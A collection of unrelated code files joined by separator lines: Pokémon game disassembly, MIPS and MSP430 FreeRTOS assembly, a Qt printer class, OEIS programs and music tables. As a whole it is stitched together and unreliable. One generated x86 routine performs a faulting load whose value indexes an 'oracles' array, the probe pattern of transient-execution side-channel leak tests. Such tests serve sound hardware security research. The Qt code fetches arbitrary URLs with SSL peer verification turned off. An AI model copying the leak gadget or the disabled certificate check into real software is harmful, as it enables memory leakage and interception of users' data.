text "Beaten by a"
line "passing stranger!"
done
YoungsterSamuelMobileText:
text "Have you been to"
line "GOLDENROD CITY?"
para "Weren't you amazed"
line "by how they've"
para "changed the"
line "#MON CENTER?"
done
YoungsterSamuelAfterText:
text "I'm going to train"
line "even harder."
para "After all, I'm"
line "trying to become"
cont "a GYM LEADER."
done
YoungsterIanSeenText:
text "I'm the best in my"
line "class at #MON."
done
YoungsterIanBeatenText:
text "No! There are bet-"
line "ter trainers…"
done
YoungsterIanAfterText:
text "I'm trying hard so"
line "I can be the star"
cont "in my class."
done
CamperTodd1SeenText:
text "I'm confident in"
line "my ability to"
cont "raise #MON."
para "Want to see?"
done
CamperTodd1BeatenText:
text "Did I screw up my"
line "training?"
done
CamperTodd1AfterText:
text "Maybe I should"
line "take one to a DAY-"
para "CARE. Or maybe use"
line "some items…"
done
CamperToddSaleText:
text "Shopping under the"
line "sky!"
para "It feels so nice"
line "up on a rooftop."
done
PicnickerGina1SeenText:
text "Are you a trainer?"
para "Let's have a"
line "practice battle."
done
PicnickerGina1BeatenText:
text "Oh, no! I just"
line "can't win…"
done
PicnickerGina1AfterText:
text "You're too strong"
line "to be a practice"
cont "partner."
done
OfficerKeithSeenText:
text "Who goes there?"
line "What are you up"
cont "to?"
done
OfficerKeithWinText:
text "You're a tough"
line "little kid."
done
OfficerKeithAfterText:
text "Yep, I see nothing"
line "wrong today. You"
para "be good and stay"
line "out of trouble."
done
OfficerKeithDaytimeText:
text "I'm on patrol for"
line "suspicious indi-"
cont "viduals."
done
PokefanmBrandonSeenText:
text "I just got my"
line "#MON back from"
cont "DAY-CARE."
para "Let's see how much"
line "stronger it got!"
done
PokefanmBrandonBeatenText:
text "Why does it end"
line "this way?"
done
PokefanmBrandonAfterText:
text "My #MON knew"
line "moves I didn't"
cont "know it had."
para "That confounded me"
line "to no end!"
done
CooltrainerfIreneSeenText:
text "IRENE: Kyaaah!"
line "Someone found us!"
done
CooltrainerfIreneBeatenText:
text "IRENE: Ohhh!"
line "Too strong!"
done
CooltrainerfIreneAfterText1:
text "IRENE: My sister"
line "KATE will get you"
cont "for this!"
done
CooltrainerfIreneAfterText2:
text "IRENE: Isn't this"
line "beach great?"
para "It's our secret"
line "little getaway!"
done
CooltrainerfJennSeenText:
text "JENN: You can't"
line "beat IRENE and go"
cont "unpunished!"
done
CooltrainerfJennBeatenText:
text "JENN: So sorry,"
line "IRENE! Sis!"
done
CooltrainerfJennAfterText1:
text "JENN: Don't get"
line "cocky! My sister"
cont "KATE is tough!"
done
CooltrainerfJennAfterText2:
text "JENN: Sunlight"
line "makes your body"
cont "stronger."
done
CooltrainerfKateSeenText:
text "KATE: You sure"
line "were mean to my"
cont "little sisters!"
done
CooltrainerfKateBeatenText:
text "KATE: No! I can't"
line "believe I lost."
done
CooltrainerfKateOfferSoftSandText:
text "KATE: You're too"
line "strong. I didn't"
cont "stand a chance."
para "Here. You deserve"
line "this."
done
CooltrainerfKateAfterText:
text "KATE: I'm sorry we"
line "jumped you."
para "We never expected"
line "anyone to find us"
para "here. You sure"
line "startled us."
done
Route34IlexForestSignText:
; unused
text "ILEX FOREST"
line "THROUGH THE GATE"
done
Route34SignText:
text "ROUTE 34"
para "GOLDENROD CITY -"
line "AZALEA TOWN"
para "ILEX FOREST"
line "SOMEWHERE BETWEEN"
done
Route34TrainerTipsText:
text "TRAINER TIPS"
para "BERRY trees grow"
line "new BERRIES"
cont "every day."
para "Make a note of"
line "which trees bear"
cont "which BERRIES."
done
DayCareSignText:
text "DAY-CARE"
para "LET US RAISE YOUR"
line "#MON FOR YOU!"
done
Route34_MapEvents:
db 0, 0 ; filler
db 5 ; warp events
warp_event 13, 37, ROUTE_34_ILEX_FOREST_GATE, 1
warp_event 14, 37, ROUTE_34_ILEX_FOREST_GATE, 2
warp_event 11, 14, DAY_CARE, 1
warp_event 11, 15, DAY_CARE, 2
warp_event 13, 15, DAY_CARE, 3
db 0 ; coord events
db 5 ; bg events
bg_event 12, 6, BGEVENT_READ, Route34Sign
bg_event 13, 33, BGEVENT_READ, Route34TrainerTips
bg_event 10, 13, BGEVENT_READ, DayCareSign
bg_event 8, 32, BGEVENT_ITEM, Route34HiddenRareCandy
bg_event 17, 19, BGEVENT_ITEM, Route34HiddenSuperPotion
db 13 ; object events
object_event 13, 7, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_TRAINER, 5, TrainerCamperTodd1, -1
object_event 15, 32, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_TRAINER, 3, TrainerYoungsterSamuel, -1
object_event 11, 20, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_TRAINER, 3, TrainerYoungsterIan, -1
object_event 10, 26, SPRITE_LASS, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_TRAINER, 3, TrainerPicnickerGina1, -1
object_event 9, 11, SPRITE_OFFICER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, OfficerKeithScript, -1
object_event 18, 28, SPRITE_POKEFAN_M, SPRITEMOVEDATA_SPINCOUNTERCLOCKWISE, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_TRAINER, 3, TrainerPokefanmBrandon, -1
object_event 15, 16, SPRITE_GRAMPS, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, DayCareManScript_Outside, EVENT_DAY_CARE_MAN_ON_ROUTE_34
object_event 14, 18, SPRITE_DAY_CARE_MON_1, SPRITEMOVEDATA_POKEMON, 2, 2, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, DayCareMon1Script, EVENT_DAY_CARE_MON_1
object_event 17, 19, SPRITE_DAY_CARE_MON_2, SPRITEMOVEDATA_POKEMON, 2, 2, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, DayCareMon2Script, EVENT_DAY_CARE_MON_2
object_event 11, 48, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_TRAINER, 5, TrainerCooltrainerfIrene, -1
object_event 3, 48, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_TRAINER, 3, TrainerCooltrainerfJenn, -1
object_event 6, 51, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_TRAINER, 2, TrainerCooltrainerfKate, -1
object_event 7, 30, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, Route34Nugget, EVENT_ROUTE_34_NUGGET
|
.data
v: .byte 2,0,0,0,4,0,0,0
array: .byte 2,0,0,0,3,0,0,0,5,0,0,0,7,0,0,0,11,0,0,0,13,0,0,0,17,0,0,0,19,0,0,0
.text
.globl main
main:
la $s1, array
la $s2, v
lw $t0, 0($s2)
addi $t0, $t0, -1
mul $t0, $t0, 4
add $t1, $s1, $t0
lw $t2, 0($t1)
addi $t2, $t2, 1
lw $t0, 4($s2)
addi $t0, $t0, -1
mul $t0, $t0, 4
add $t3, $s1, $t0
lw $t4, 0($t3)
addi $t4, $t4, -1
sw $t2, 0($t3)
sw $t4, 0($t1)
jr $ra
|
#include "printer.h"
printer::printer(QObject *parent) : QObject(parent)
{
connect(&_manager, SIGNAL(finished(QNetworkReply*)), this, SLOT(remoteDate(QNetworkReply*)));
}
QString printer::getAllPrinter()
{
QStringList printer;
QList<QPrinterInfo> list = QPrinterInfo::availablePrinters();
while (!list.isEmpty()) {
QPrinterInfo tmp = list.takeFirst();
printer.append(tmp.printerName());
}
return "[\""+printer.join("\",\"")+"\"]";
}
QString printer::getDefaultPrinter()
{
return QPrinterInfo::defaultPrinter().printerName();
}
void printer::exec(QByteArray content, QString contentType, QString printer, QString size, QString margin, bool ispreview, bool isurl)
{
_content = content;
_contentType = contentType;
_ispreview = ispreview;
if(!printer.isEmpty()) {
_printer.setPrinterName(printer);
}
if(!size.isEmpty()) {
QStringList s = size.split("*");
if(s.length()>1){
qreal w = QString(s.at(0)).toDouble();
qreal h = QString(s.at(1)).toDouble();
_printer.setPageSize(QPrinter::Custom);
_printer.setPaperSize(QSizeF(w,h),QPrinter::Millimeter);
}
}
if(!margin.isEmpty()) {
QStringList s = margin.split("*");
if(s.length()>3){
qreal left = QString(s.at(0)).toDouble();
qreal top = QString(s.at(1)).toDouble();
qreal right = QString(s.at(2)).toDouble();
qreal bottom = QString(s.at(3)).toDouble();
_printer.setPageMargins(left,top,right,bottom,QPrinter::Millimeter);
}
}
if(isurl){
QNetworkRequest request;
QSslConfiguration conf;
conf.setProtocol(QSsl::AnyProtocol);
conf.setPeerVerifyMode(QSslSocket::VerifyNone);
request.setSslConfiguration(conf);
request.setUrl(QUrl(content));
_manager.get(request);
}else if (ispreview) {
preview();
}else{
print();
}
}
void printer::remoteDate(QNetworkReply *reply)
{
_content = reply->readAll();
reply->close();
if (_ispreview) {
preview();
}else{
print();
}
}
void printer::print()
{
if(_contentType == "img") {
QPixmap img = QPixmap();
img.loadFromData(_content);
QPainter painter(&_printer);
QRect rect = painter.viewport();
QSize size = img.size();
size.scale(rect.size(), Qt::KeepAspectRatio);
painter.setViewport((rect.width()-size.width())/2, (rect.height()-size.height())/2, size.width(), size.height());
painter.setWindow(img.rect());
painter.drawPixmap(0, 0, img);
} else if(_contentType == "txt") {
QPainter painter(&_printer);
painter.setViewport(0, 0, _printer.width(), _printer.height());
painter.drawText(0, 0, _content);
} else {
QTextDocument doc;
doc.setPageSize(QSizeF(_printer.pageRect().size()));
doc.setHtml(_content);
doc.print(&_printer);
}
}
void printer::preview()
{
QPrintPreviewDialog *dialog = new QPrintPreviewDialog(&_printer);
connect(dialog, SIGNAL(paintRequested(QPrinter*)),
this, SLOT(setPreviewContent(QPrinter*)));
dialog->setWindowModality(Qt::WindowModal);
dialog->setWindowFlags(dialog->windowFlags() | Qt::WindowStaysOnTopHint);
dialog->exec();
}
void printer::setPreviewContent(QPrinter *p)
{
if(_contentType == "img") {
QPixmap img = QPixmap();
img.loadFromData(_content);
QPainter painter(p);
QRect rect = painter.viewport();
QSize size = img.size();
size.scale(rect.size(), Qt::KeepAspectRatio);
painter.setViewport((rect.width()-size.width())/2, (rect.height()-size.height())/2, size.width(), size.height());
painter.setWindow(img.rect());
painter.drawPixmap(0, 0, img);
} else if(_contentType == "txt") {
QPainter painter(p);
painter.setViewport(0, 0, p->width(), p->height());
painter.drawText(0, 0, _content);
} else {
QTextDocument doc;
doc.setPageSize(QSizeF(p->pageRect().size()));
doc.setHtml(_content);
doc.print(p);
}
}
|
db DEX_SANDSHREW ; pokedex id
db 50 ; base hp
db 75 ; base attack
db 85 ; base defense
db 40 ; base speed
db 30 ; base special
db ICE ; species type 1
db STEEL ; species type 2
db 255 ; catch rate
db 93 ; base exp yield
INCBIN "pic/ymon/sandshrew.pic",0,1 ; 55, sprite dimensions
dw SandshrewPicFront
dw SandshrewPicBack
; attacks known at lvl 0
db SCRATCH
db 0
db 0
db 0
db 0 ; growth rate
; learnset
tmlearn 3,6,8
tmlearn 9,10
tmlearn 17,19,20
tmlearn 26,27,28,31,32
tmlearn 34,39,40
tmlearn 44,48
tmlearn 50,51,54
db BANK(SandshrewPicFront)
|
; A078701: Least odd prime factor of n, or 1 if no such factor exists.
; 1,1,3,1,5,3,7,1,3,5,11,3,13,7,3,1,17,3,19,5,3,11,23,3,5,13,3,7,29,3,31,1,3,17,5,3,37,19,3,5,41,3,43,11,3,23,47,3,7,5,3,13,53,3,5,7,3,29,59,3,61,31,3,1,5,3,67,17,3,5,71,3,73,37,3,19,7,3,79,5,3,41,83,3,5,43,3,11,89,3,7,23,3,47,5,3,97,7,3,5,101,3,103,13,3,53,107,3,109,5,3,7,113,3,5,29,3,59,7,3,11,61,3,31,5,3,127,1,3,5,131,3,7,67,3,17,137,3,139,5,3,71,11,3,5,73,3,37,149,3,151,19,3,7,5,3,157,79,3,5,7,3,163,41,3,83,167,3,13,5,3,43,173,3,5,11,3,89,179,3,181,7,3,23,5,3,11,47,3,5,191,3,193,97,3,7,197,3,199,5,3,101,7,3,5,103,3,13,11,3,211,53,3,107,5,3,7,109,3,5,13,3,223,7,3,113,227,3,229,5,3,29,233,3,5,59,3,7,239,3,241,11,3,61,5,3,13,31,3,5
mov $10,$0
mov $12,2
lpb $12
clr $0,10
mov $0,$10
sub $12,1
add $0,$12
sub $0,1
mov $7,$0
mov $9,$0
add $9,1
lpb $9
mov $0,$7
sub $9,1
sub $0,$9
mov $1,1
mov $2,$0
lpb $2
mul $2,$1
add $1,$0
sub $2,2
gcd $1,$2
lpe
add $8,$1
lpe
mov $1,$8
mov $13,$12
lpb $13
mov $11,$1
sub $13,1
lpe
lpe
lpb $10
mov $10,0
sub $11,$1
lpe
mov $1,$11
|
;/*
; * FreeRTOS Kernel V10.4.1
; * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
; *
; * Permission is hereby granted, free of charge, to any person obtaining a copy of
; * this software and associated documentation files (the "Software"), to deal in
; * the Software without restriction, including without limitation the rights to
; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
; * the Software, and to permit persons to whom the Software is furnished to do so,
; * subject to the following conditions:
; *
; * The above copyright notice and this permission notice shall be included in all
; * copies or substantial portions of the Software.
; *
; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
; *
; * https://www.FreeRTOS.org
; * https://github.com/FreeRTOS
; *
; * 1 tab == 4 spaces!
; */
; * The definition of the "register test" tasks, as described at the top of
; * main.c
.include data_model.h
.global xTaskIncrementTick
.global vTaskSwitchContext
.global vPortSetupTimerInterrupt
.global pxCurrentTCB
.global usCriticalNesting
.def vPortPreemptiveTickISR
.def vPortCooperativeTickISR
.def vPortYield
.def xPortStartScheduler
;-----------------------------------------------------------
portSAVE_CONTEXT .macro
;Save the remaining registers.
pushm_x #12, r15
mov.w &usCriticalNesting, r14
push_x r14
mov_x &pxCurrentTCB, r12
mov_x sp, 0( r12 )
.endm
;-----------------------------------------------------------
portRESTORE_CONTEXT .macro
mov_x &pxCurrentTCB, r12
mov_x @r12, sp
pop_x r15
mov.w r15, &usCriticalNesting
popm_x #12, r15
nop
pop.w sr
nop
ret_x
.endm
;-----------------------------------------------------------
;*
;* The RTOS tick ISR.
;*
;* If the cooperative scheduler is in use this simply increments the tick
;* count.
;*
;* If the preemptive scheduler is in use a context switch can also occur.
;*/
.text
.align 2
vPortPreemptiveTickISR: .asmfunc
; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs
;to save it manually before it gets modified (interrupts get disabled).
push.w sr
portSAVE_CONTEXT
call_x #xTaskIncrementTick
call_x #vTaskSwitchContext
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
.align 2
vPortCooperativeTickISR: .asmfunc
; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs
;to save it manually before it gets modified (interrupts get disabled).
push.w sr
portSAVE_CONTEXT
call_x #xTaskIncrementTick
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
;
; Manual context switch called by the portYIELD() macro.
;
.align 2
vPortYield: .asmfunc
; The sr needs saving before it is modified.
push.w sr
; Now the SR is stacked we can disable interrupts.
dint
nop
; Save the context of the current task.
portSAVE_CONTEXT
; Select the next task to run.
call_x #vTaskSwitchContext
; Restore the context of the new task.
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
;
; Start off the scheduler by initialising the RTOS tick timer, then restoring
; the context of the first task.
;
.align 2
xPortStartScheduler: .asmfunc
; Setup the hardware to generate the tick. Interrupts are disabled
; when this function is called.
call_x #vPortSetupTimerInterrupt
; Restore the context of the first task that is going to run.
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
.end
|
; A006996: C(2n,n) mod 3.
; 1,2,0,2,1,0,0,0,0,2,1,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,1,0,1,2,0,0,0,0,1,2,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,1,0,1,2,0,0,0,0,1,2,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,0,2,1,0,0,0,0,2,1,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,1,0,1,2,0,0
cal $0,132327 ; Product{k>=0, 1+floor(n/3^k)}.
lpb $0
mod $0,3
lpe
mov $1,$0
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1ec1b, %rsi
lea addresses_A_ht+0xc6b, %rdi
nop
nop
nop
and %rbx, %rbx
mov $112, %rcx
rep movsl
nop
nop
nop
nop
nop
add $48028, %r13
lea addresses_D_ht+0x1835b, %rsi
lea addresses_D_ht+0x1c1f9, %rdi
nop
nop
nop
add %r11, %r11
mov $28, %rcx
rep movsb
nop
add %rbx, %rbx
lea addresses_UC_ht+0x15d83, %rbx
cmp $1411, %r9
vmovups (%rbx), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %r11
nop
nop
nop
nop
nop
and $33919, %rdi
lea addresses_WC_ht+0x41b, %rsi
sub %rdi, %rdi
movl $0x61626364, (%rsi)
nop
nop
nop
add $41761, %r11
lea addresses_A_ht+0x11aa4, %rsi
lea addresses_A_ht+0x16c9b, %rdi
nop
nop
nop
xor $12882, %r11
mov $74, %rcx
rep movsw
add $49656, %r11
lea addresses_UC_ht+0x1981b, %rcx
nop
add $63215, %r9
movb $0x61, (%rcx)
nop
nop
nop
sub %rsi, %rsi
lea addresses_UC_ht+0xc8a2, %rsi
lea addresses_A_ht+0x1c81b, %rdi
nop
nop
add $3849, %r11
mov $56, %rcx
rep movsl
nop
add $47750, %rbx
lea addresses_D_ht+0xd3bb, %r13
xor %r9, %r9
mov (%r13), %r11w
nop
add $6205, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %rax
push %rbp
push %rcx
push %rsi
// Store
lea addresses_normal+0x13a5b, %rax
cmp $55593, %rsi
mov $0x5152535455565758, %r10
movq %r10, %xmm7
vmovups %ymm7, (%rax)
nop
dec %rsi
// Store
lea addresses_WC+0xd01b, %r12
nop
nop
nop
nop
inc %rcx
movw $0x5152, (%r12)
nop
nop
nop
add %r11, %r11
// Store
mov $0x763, %r11
nop
nop
sub $39213, %rbp
movb $0x51, (%r11)
cmp $55529, %rsi
// Store
mov $0x7a010000000009d7, %rax
nop
inc %r10
movl $0x51525354, (%rax)
nop
nop
nop
nop
xor $8852, %rax
// Store
lea addresses_A+0x19c1b, %r12
nop
nop
and $34395, %rcx
movw $0x5152, (%r12)
nop
nop
nop
nop
nop
add $30305, %rsi
// Store
lea addresses_WC+0x983b, %r10
nop
nop
nop
nop
nop
dec %rcx
movl $0x51525354, (%r10)
nop
nop
nop
nop
and %r10, %r10
// Store
lea addresses_normal+0x149fb, %rbp
nop
nop
dec %r12
movw $0x5152, (%rbp)
sub $7637, %r12
// Store
lea addresses_WC+0x1301b, %rsi
nop
nop
nop
nop
nop
inc %r12
mov $0x5152535455565758, %r11
movq %r11, %xmm1
vmovups %ymm1, (%rsi)
nop
nop
and %rcx, %rcx
// Store
lea addresses_normal+0x1a01b, %r12
nop
cmp $51780, %rbp
mov $0x5152535455565758, %r11
movq %r11, %xmm5
movaps %xmm5, (%r12)
nop
nop
nop
nop
nop
and %rcx, %rcx
// Faulty Load
mov $0x32a1c3000000041b, %rcx
nop
nop
nop
nop
add %r11, %r11
mov (%rcx), %eax
lea oracles, %rcx
and $0xff, %rax
shlq $12, %rax
mov (%rcx,%rax,1), %rax
pop %rsi
pop %rcx
pop %rbp
pop %rax
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 4, 'AVXalign': True, 'NT': True, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'00': 2504}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
;-----------------------------------------------
Instrument_profiles:
SquareWave_instrument_profile:
db 12
Piano_instrument_profile:
db 14,13,12,11,10,10,9,9,8,8,7,7,6,#ff
; Soft_Piano_instrument_profile:
; db 12,11,10,9,8,8,7,7,6,6,5,5,4,#ff
Wind_instrument_profile:
db 0,3,6,8,10,11,12, #ff
; This is the complete note table:
;note_period_table:
; db 7,119, 7,12, 6,167, 6,71, 5,237, 5,152, 5,71, 4,252, 4,180, 4,112, 4,49, 3,244
; db 3,188, 3,134, 3,83, 3,36, 2,246, 2,204, 2,164, 2,126, 2,90, 2,56, 2,24, 1,250
; db 1,222, 1,195, 1,170, 1,146, 1,123, 1,102, 1,82, 1,63, 1,45, 1,28, 1,12, 0,253
; db 0,239, 0,225, 0,213, 0,201, 0,190, 0,179, 0,169, 0,159, 0,150, 0,142, 0,134, 0,127
; db 0,119, 0,113, 0,106, 0,100, 0,95, 0,89, 0,84, 0,80, 0,75, 0,71, 0,67, 0,63
note_period_table:
db 10,155, 10,2, 8,235, 8,107, 7,242, 6,174, 5,244, 5,158
db 5,77, 5,1, 4,185, 4,117, 4,53, 3,249, 3,138, 3,87
db 2,250, 2,207, 2,167, 2,129, 2,93, 2,59, 1,252, 1,197
db 1,172, 1,125, 1,83, 1,64, 1,29, 1,13, 0,254, 0,240
db 0,226, 0,214, 0,190, 0,180, 0,170, 0,160, 0,151, 0,143
